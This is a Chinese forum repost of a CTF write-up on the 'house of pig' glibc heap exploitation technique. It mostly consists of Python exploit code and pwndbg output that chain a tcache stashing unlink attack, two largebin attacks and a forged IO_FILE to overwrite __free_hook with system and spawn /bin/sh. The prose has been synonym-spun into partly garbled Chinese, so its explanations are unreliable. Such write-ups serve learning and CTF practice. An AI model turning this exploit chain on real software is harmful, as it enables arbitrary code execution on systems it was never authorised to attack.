1.为tcache_stashing_unlink plus做好筹办,往一个tcache链中放进五个chunk,再往一样大小的smallbin中放进两个chunk,

2.机关出largebin,保守libc所在战heap所在,停止第一次largebin attack,将free_hook-0x8的地位写上一个堆所在

3.停止tcache_stashing_unlink ,将free_hook-0x10做为一个堆所在链进tcache头,但因为利用calloc,我们没法申请到那个chunk

4.停止第两次largebin attack,将_io_list_all笼盖成一个堆所在,我们正在那个堆上假造IO_FILE,假造的FILE规划体需求合意请求以挪用malloc去申请tcache中的chunk,也便是我们要使2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100=free_hook地点的谁人tcache链的大小,并且借要修正vtable指针,vtable本来指背IO_file_jumps,将其修正为指背_IO_str_jumps,本来该当挪用 IO_file_overflow 的时分,便会转而挪用以下的 IO_str_overflow,如许一去就可以够进而挪用malloc申请到free_hook-0x10处的空间,而假如_IO_buf_base指背的空间无数据的话,借会将其中的数据拷贝到malloc申请的chunk中,以是我们能够正在IO_buf_base指背的空间安插好/bin/sh战system的所在,如许一去便被被memcpy到free_hook-0x10处,IO_str_overflow正在最初借会free失落IO_buf_base指背的chunk,如许便会触收system(&#39;/bin/sh&#39;)getshell

(我太懒了,便间接拿民圆exp去讲解了,徒弟们包容包容orz)

第一部门,为tcache_stashing_unlink 做筹办
  1. struct tmp_house
  2. {
  3.   struct house peppa_house;
  4.   int current_peppasize;
  5.   struct house mummy_house;
  6.   int current_mummysize;
  7.   struct house daddy_house;
  8.   int current_daddysize;
  9.   int show_time;
  10.   int edit_time;
  11. };
复造代码
145707hkj1hllzxch12kcz.png


此时的bins如上图

第两部门,保守libc所在战heap所在
  1. Change(2)
  2. for x in xrange(5):
  3.     Add(0x90, &#39;B&#39;*0x28) # B0~B4
  4.     Del(x)    # B0~B4
  5. #到那里0xa0的tcache中放进了5个chunk
  6. Change(1)
  7. Add(0x150, &#39;A&#39;*0x68) # A0
  8. for x in xrange(7):
  9.     Add(0x150, &#39;A&#39;*0x68) # A1~A7
  10.     Del(1+x)
  11. Del(0)
  12. #将0x160的chunk放进到unsortedbin
  13. Change(2)
  14. Add(0xb0, &#39;B&#39;*0x28) # B5 split 0x160 to 0xc0 and 0xa0
  15. #将0x160的chunk朋分为0xc0战0xa0的,unsortedbin借剩下0xa0
  16. Change(1)
  17. Add(0x180, &#39;A&#39;*0x78) # A8
  18. #将0xa0的unsortedbin放进smallbin,0xa0的smallbin今朝有一个
  19. for x in xrange(7):
  20.     Add(0x180, &#39;A&#39;*0x78) # A9~A15
  21.     Del(9+x)
  22. Del(8)
  23. #将0x190的chunk翻进unsortedbin
  24. Change(2)
  25. Add(0xe0, &#39;B&#39;*0x38) # B6 split 0x190 to 0xf0 and 0xa0
  26. #切割unsortedbin,unsortedbin借剩下0xa0
  27. #----- leak libc_base and heap_base
  28. Change(1)
  29. Add(0x430, &#39;A&#39;*0x158) # A16
  30. #将0xa0的unsortedbin放进到smallbin,0xa0的chunk今朝有两个
  31. #至此,tcache_stashing_unlink的筹办事情完成一部门
复造代码
145707pd41wc1cdpwzkc56.png

上图是将A16 free以后的状况

和下图是此时的bins
145708e0g085sgi0susb0l.png

第三部门,第一次largebin_attack 将free_hook-0x8写为一个堆所在
  1. Change(1)
  2. Add(0x430, &#39;A&#39;*0x158) # A16
  3. Change(2)
  4. Add(0xf0, &#39;B&#39;*0x48) # B7
  5. #B7做为A16战topchunk的断绝,避免A16被free后战topchunk兼并
  6. Change(1)
  7. Del(16)
  8. #free A16,将A16放进unsortedbin
  9. Change(2)
  10. Add(0x440, &#39;B&#39;*0x158) # B8
  11. #申请一个比unsortedbin更年夜的chunk,将unsortedbin放进largebin,则largebin中有一个0x440的chunk
  12. #因为largebin的bk战fd为libc地点,fd_nextsize战bk_nextsize为堆地点,因而能够经由过程那个largebin去保守libc地点战heap地点
  13. Change(1)
  14. #切换脚色,形成uaf
  15. Show(16)
  16. ru(&#39;message is: &#39;)
  17. libc_base = uu64(rl()) - 0x1ebfe0
  18. lg(&#39;libc_base&#39;)
  19. #操纵uaf保守libc地点
  20. Edit(16, &#39;A&#39;*0xf+&#39;\n&#39;)
  21. Show(16)
  22. ru(&#39;message is: &#39;+&#39;A&#39;*0xf+&#39;\n&#39;)
  23. heap_base = uu64(rl()) - 0x13940
  24. lg(&#39;heap_base&#39;)
  25. #利用edit笼盖fd战bk,保守出heap地点
复造代码
那里表白一下Add(0xa0, &#39;C&#39;*0x28)为何能触收largebin_attack
145708oot2b4po6o0bic6w.png

正在int_malloc函数的年夜轮回开端处便会获得unsortedbin中的chunk

仍是经由过程源码调试去看看,不过便只标出几个枢纽面,究竟结果那没有是本文的重面
145708rq1b0t2o90zu5s5z.png

  1. #----- first largebin_attack
  2. Edit(16, 2*p64(libc_base+0x1ebfe0) + &#39;\n&#39;) # recover
  3. #将0x440的largebin的fd战bk指针规复
  4. Add(0x430, &#39;A&#39;*0x158) # A17
  5. #将largebin中的chunk申请返来
  6. Add(0x430, &#39;A&#39;*0x158) # A18
  7. Add(0x430, &#39;A&#39;*0x158) # A19
  8. #后绝利用
  9. Change(2)
  10. Del(8)
  11. Add(0x450, &#39;B&#39;*0x168) # B9
  12. #将B8 0x440的chunk放进largebin
  13. Change(1)
  14. Del(17)
  15. #将A17 0x430的chunk放进unsortedbin
  16. Change(2)
  17. free_hook = libc_base + libc.sym[&#39;__free_hook&#39;]
  18. Edit(8, p64(0) + p64(free_hook-0x28) + &#39;\n&#39;)
  19. #修正B8的fd_nextsize战bk_nextsize,以满意largebin attack的请求 注:mummy的edit是间接从偏偏移0x10的地位写进,遗忘了的能够看看法式
  20. Change(3)
  21. Add(0xa0, &#39;C&#39;*0x28) # C0 triger largebin_attack, write a heap addr to __free_hook-8
  22. #会从0x430的unsortedbin中切割0xb0的chunk之前,会先将那个0x430的chunk放到largebin上,再停止切割,切割以后会发生last remainder,再将last remainder放到unsortedbin上,正在将unsortedbin放进largebin时便曾经动身了largebinattack,往free_hook-0x8处写进了一个堆地点
  23. Change(2)
  24. Edit(8, 2*p64(heap_base+0x13e80) + &#39;\n&#39;) # recover
  25. #规复现场
复造代码
与到了unsortedbin中的chunk
145709aouqd4yayjou90yd.png

145709s8tzbn5l4ln85ozo.png

将unsortedbin中的chunk解链
145709v9fgnbe1qc9yngpb.png

将unsortedbin插进到largebin
145709pte7c6ululckrlu7.png

那一步以后理想上便曾经完成了largebin attack,但我们持续把流程走完
145710xgfbmd4xjlp4ydbz.png

largebin中多出了一个chunk

后绝会停止一年夜堆标记位设置,我们间接看到切割chunk
145710cf87i3wl72nmtui7.png

145710dcab2pg2hp9o2z0m.png

切割了之前的unsortedbin,remainder发生
145711g959d9k955ldd9vr.png

然后将last_remainder插进到unsortedbin中
145711gt0b58b71shhs8r7.png

 流程结束,第一次largebin attack完成
145711sozfivo1nd1nol1d.png

free_hook-0x8被写进了一个堆所在

第四部门 第两次largebin attack ,往_io_list_all写进一个堆所在
  1. pwndbg> p/x size
  2. $2 = 0x440
  3. pwndbg> p victim
  4. $3 = (mchunkptr) 0x55a1135af940
  5. unsortedbin
  6. all: 0x55a1135af940 —▸ 0x7f61ad8c2be0 (main_arena+96) ◂— 0x55a1135af940
复造代码
145711jzu2r6br3ebcw6r2.png

第两次largebin attack完成

第五部门 tcache_stashing_unlink plus IO_FILE进犯
  1. #----- second largebin_attack
  2. Change(3)
  3. Add(0x380, &#39;C&#39;*0x118) # C1
  4. #将lastremainder申请返来
  5. Change(1)
  6. Del(19)
  7. #free A19,巨细为0x430的chunk
  8. Change(2)
  9. IO_list_all = libc_base + libc.sym[&#39;_IO_list_all&#39;]
  10. Edit(8, p64(0) + p64(IO_list_all-0x20) + &#39;\n&#39;)
  11. #故伎重施,将largebin中的0x440的chunk的bk_nextsize修正为IO_list_all-0x20
  12. Change(3)
  13. Add(0xa0, &#39;C&#39;*0x28) # C2 triger largebin_attack, write a heap addr to _IO_list_all
  14. #战第三部门的一样,触收largebin_attack
  15. Change(2)
  16. Edit(8, 2*p64(heap_base+0x13e80) + &#39;\n&#39;) # recover
  17. #规复现场
复造代码
145712yfrcrgqgxserzfsr.png

正在largebin中设置好chain

正在利用角色三daddy申请到C4时会有一个gift
145712acz30pex2ij3kvzj.png

会分外申请一个0xf0的chunk,然后往其中读进数据,并且是持续读进
145712w30o4ti3yn34ve3w.png

那个0xf0的chunk会从unsortedbin中切割
145713ik0ke5s9070s395k.png

largebin中的chain指背的恰是那个chunk,利用fp号令能够将那个所在做为一个IO_FILE规划体检察
145713wbmqnb0f1nis0e8q.png

按照io_str_overflow申请chunk的size计较划定规矩
  1. #----- tcache_stashing_unlink_attack and FILE attack
  2. Change(1)
  3. payload = &#39;A&#39;*0x50 + p64(heap_base+0x12280) + p64(free_hook-0x20)
  4. Edit(8, payload + &#39;\n&#39;)
  5. #A8本来是0x190的chunk,然后被切割为了0xf0战0xa0的chunk,因为uaf,edit A8能够间接修正到0xa0的smallbin的fd战bk
  6. #tcache_stashing_unlink plus的操纵前提便是正在没有修正fd的状况下将bk修正为目的地点-0x10,我们的目的地点是free_hook-0x10,因而要将bk修正为free_hook-0x20
  7. Change(3)
  8. payload = &#39;\x00&#39;*0x18 + p64(heap_base+0x147c0)
  9. payload = payload.ljust(0x158, &#39;\x00&#39;)
  10. Add(0x440, payload) # C3 change fake FILE _chain
  11. #io_list_all被笼盖为了0x440的largebin的地点,我们将那个largebin申请返来,正在此中设置下一个chain,并正在那个chain指背的chunk中假造IO_FILE
  12. Add(0x90, &#39;C&#39;*0x28) # C4 triger tcache_stashing_unlink_attack, put the chunk of __free_hook into tcache
  13. #触收tcache_stashing_unlink_attack,将free_hook-0x10链进tcache中
  14. IO_str_vtable = libc_base + 0x1ED560
  15. system_addr = libc_base + libc.sym[&#39;system&#39;]
  16. fake_IO_FILE = 2*p64(0) #按照我们前里阐发的,fp->flag=0
  17. fake_IO_FILE += p64(1)                    #change _IO_write_base = 1
  18. fake_IO_FILE += p64(0xffffffffffff)        #change _IO_write_ptr = 0xffffffffffff
  19. #满意fp->_IO_write_ptr - fp->_IO_write_base >= _IO_buf_end - _IO_buf_base
  20. fake_IO_FILE += p64(0)
  21. fake_IO_FILE += p64(heap_base+0x148a0)                #v4 _IO_buf_base
  22. fake_IO_FILE += p64(heap_base+0x148b8)                #v5 _IO_buf_end
  23. fake_IO_FILE = fake_IO_FILE.ljust(0xb0, &#39;\x00&#39;)
  24. fake_IO_FILE += p64(0)                    #change _mode = 0
  25. fake_IO_FILE = fake_IO_FILE.ljust(0xc8, &#39;\x00&#39;)
  26. fake_IO_FILE += p64(IO_str_vtable)        #change vtable
  27. payload = fake_IO_FILE + &#39;/bin/sh\x00&#39; + 2*p64(system_addr)
  28. sa(&#39;Gift:&#39;, payload)
  29. #利用脚色三也便是daddy申请到C4时会有一个gift
  30. Menu(5)
  31. sla(&#39;user:\n&#39;, &#39;&#39;)
复造代码
  1. new_buf = malloc (2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
复造代码
按照malloc的申请划定规矩,会申请0xa0的chunk,此时0xa0的tcache中的第一个chunk为free_hook-0x10
145713bxoe4ag7gaxjjra5.png

 malloc申请完chunk后,假如_IO_buf_base指背的空间无数据的话便会将其中的数据拷贝到new_buf中,也便是free_hook-0x10,_IO_buf_base指背地位的数据为/bin/sh战system的所在,因而终极会将/bin/sh拷贝到free_hook-0x10,将system拷贝到free_hook-0x8战free_hook,终极挪用free则会触收system(&#39;/bin/sh&#39;)
145714v1t9mf1x9oxx3i9t.png

  而 house of pig的触收前提便是挪用 _IO_flush_all_lockp的前提,即需求合意以下三个之一:
  

  • 当 libc 施行abort流程时。
  • 法式隐式挪用 exit 。
  • 法式能经由过程主函数返回。
那个法式里挪用了很多exit,能够触收house of pig

我们跟到io_str_overflow里看看施行历程
145714bsw3j3n83owwsosy.png

  1. pwndbg> p/x 2*(0x55abc745a8b8-0x55abc745a8a0)+100
  2. $2 = 0x94
复造代码
size战我们计较的一样

挪用malloc之前
145714z62rro6j70z7002j.png

挪用malloc以后
145715w7mrwwfmtzmewtgt.png

free_hook曾经被申请进来了

接下去开端memcpy
145715krgr7pg8gaoryct7.png

145715g66awe66aw6aww5v.png

old_buf指背的的数据是/bin/sh

memcpy施行以后
145715ihl0n2c206vcnsqc.png

随后便是getshell

最初提一嘴,为何要将chunk申请到free_hook-0x10而没有是free_hook-0x8,是由于新版本的glibc对tcache增长了检查,tcache申请的所在需求0x10对齐,那便是缘故原由。
0x5.结束洒花

经由过程那题教到了很多,也温习稳固了很多常识面,耐着性质停止调试,硬着头皮规复了规划体,播种谦谦。
145716kml9ntsm9u1uf1ik.jpg





免责声明:假如进犯了您的权益,请联络站少,我们会实时删除侵权内乱容,感谢协作!
1、本网站属于个人的非赢利性网站,转载的文章遵循原作者的版权声明,如果原文没有版权声明,按照目前互联网开放的原则,我们将在不通知作者的情况下,转载文章;如果原文明确注明“禁止转载”,我们一定不会转载。如果我们转载的文章不符合作者的版权声明或者作者不想让我们转载您的文章的话,请发帖留言提供原创证明,我们将积极配合您!
2、本网站转载文章仅为传播更多信息之目的,凡在本网站出现的信息,均仅供参考。本网站将尽力确保所提供信息的准确性及可靠性,但不保证信息的正确性和完整性,且不对因信息的不正确或遗漏导致的任何损失或损害承担责任。
3、任何透过本网站网页而链接及得到的资讯、产品及服务,本网站概不负责,亦不负任何法律责任。
4、本网站所刊发、转载的文章,其版权均归原作者所有,如其他媒体、网站或个人从本网下载使用,请在转载有关文章时务必尊重该文章的著作权,保留本网注明的“稿件来源”,并自负版权等法律责任。
回复

使用道具 举报

 
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则